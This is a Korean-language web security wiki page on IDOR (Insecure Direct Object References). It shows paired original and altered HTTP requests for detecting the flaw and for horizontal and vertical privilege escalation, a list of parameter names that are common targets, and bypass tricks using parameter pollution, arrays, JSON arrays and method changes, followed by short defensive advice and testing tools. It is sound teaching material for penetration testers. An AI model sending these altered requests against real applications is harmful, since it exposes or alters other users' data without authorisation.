🔍 Introduction

IDOR(Insecure Direct Object References)는 Access Control에서 발생하는 취약점 중 외부에 노출되거나 제공되는 입력이 Object에 직접 참고하고 엑세스할 때 이를 이용하여 본인의 권한을 넘어서는 액션을 수행할 수 있습니다.

Origin Request

GET /info?accountId=15442

IDOR Request

GET /info?accountId=1110

일반적으론 Horizontal privilege escalation 즉, 수평적으로 권한을 악용할 수 있지만 때때로 어플리케이션 구성이나 정책에 따라서 Vertical privilege escalation(수직적 권한 상승)으로 연결될 수 있습니다.

🗡 Offensive techniques

Detect

어플리케이션 처리 로직에서 사용자 입력 값이 Object에 직접 참조되는 부분들이 모두 영향 받습니다. 일반적으로 ID, Username 등 식별 값이 포인트가 되며, 파라미터가 아닌 Static File 등에서도 식별 정보를 기반으로한 데이터 참조가 있는 경우 IDOR의 영향을 받을 수 있습니다.

Origin Request

POST /save_profile HTTP/1.1

account=15442&name=aaa

IDOR Request

POST /save_profile HTTP/1.1

account=1110&name=aaa

위 예시에서 account와 같이 사용자의 Object에 참조될만한 파라미터에 다른 사용자의 값을 넣어 어플리케이션의 처리, 리턴되는 반응을 살핍니다. 만약 account 값을 1110을 사용하는 유저의 데이터가 변경되었다면 IDOR에 취약한 것으로 판단합니다.

With HUNT

ZAP, Burpsuite에선 HUNT라는 AddOn을 통해 IDOR의 가능성을 가지는 Request를 Passive Scan 형태로 식별할 수 있습니다. 자세한 내용은 아래 글을 참고해주세요.

• https://www.hahwul.com/2022/04/12/zap-hunt-remix/
• https://www.hahwul.com/2018/04/18/bugcrowd-hunt-burp-extension/

With GF-Patterns

GF-Patterns에 명시된 대표적인 파라미터 이름은 아래와 같습니다. 이런 파라미터들은 IDOR의 주요 표적이 됩니다.

{
    [
        "id=",
        "user=",
        "account=",
        "number=",
        "order=",
        "no=",
        "doc=",
        "key=",
        "email=",
        "group=",
        "profile=",
        "edit=",
        "report="
    ]
}

Exploitation

Horizontal privilege escalation

수평 권한 상승은 IDOR를 통해 유사한 권한을 가진 다른 사용자의 데이터를 처리하는 형태의 방법입니다.

Origin Request

POST /save_profile HTTP/1.1

account=15442&name=aaa

IDOR Request

POST /save_profile HTTP/1.1

account=1110&name=aaa

Vertical privilege escalation

수직 권한 상승은 IDOR를 통해 상위 권한을 가진 다른 사용자의 데이터를 처리하는 형태의 방법입니다. 보통 일반 계정간의 권한 문제가 아닌 Admin 등 상위 권한의 데이터를 침범하는 형태의 방법입니다.

Origin Request

POST /save_profile HTTP/1.1

account=15442&name=aaa

IDOR Request

POST /save_profile HTTP/1.1

admin_account=1&name=aaa

Bypass protection

HPP

IDOR는 HPP(Http Parameter Pollution)을 통해 우회할 수 있는 경우가 종종 있습니다.

Bypass Request

POST /save_profile HTTP/1.1

account=15442&account=1110&name=aaa

Bypass Request (Array)

POST /save_profile HTTP/1.1

account[]=15442&account[]=1110&name=aaa

JSON Array

Origin Request

POST /save_profile HTTP/1.1

{
    "account":"15442"
}

Origin Request

POST /save_profile HTTP/1.1

{
    "account":[
        "15442",
        "1110"
    ]
}  

Change Method

Bypass Request

PUT /save_profile HTTP/1.1

account=1110&name=aaa

🛡 Defensive techniques

대응 방안은 간단합니다. 사용자의 입력을 신뢰하지 않고 세션, 쿠키 등 인증 정보와 비교하여 권한을 정확하게 검증해야 합니다.

또한 인증 정보를 검증할 수 없는 API 등의 경우 사용자가 직접 데이터를 통제할 수 없도록 벡엔드 뒤에 MSA 형태로 숨기던가 앞에 별도의 Interface를 구현하여 대응할 수도 있습니다.

🕹 Tools

• ZAP
  • Access Control Testing AddOn
  • Scripting & Zest
• Burpsuite
  • Authz
  • AuthMatrix
  • Authorize
• Authz0
• apidor
• ozauthmatrix

📚 Articles

• https://www.hahwul.com/2022/04/12/zap-hunt-remix/

📌 References

• https://portswigger.net/web-security/access-control/idor
• https://github.com/1ndianl33t/Gf-Patterns/blob/master/idor.json
• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Direct%20Object%20References
• https://wiki.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004)
• https://book.hacktricks.xyz/pentesting-web/idor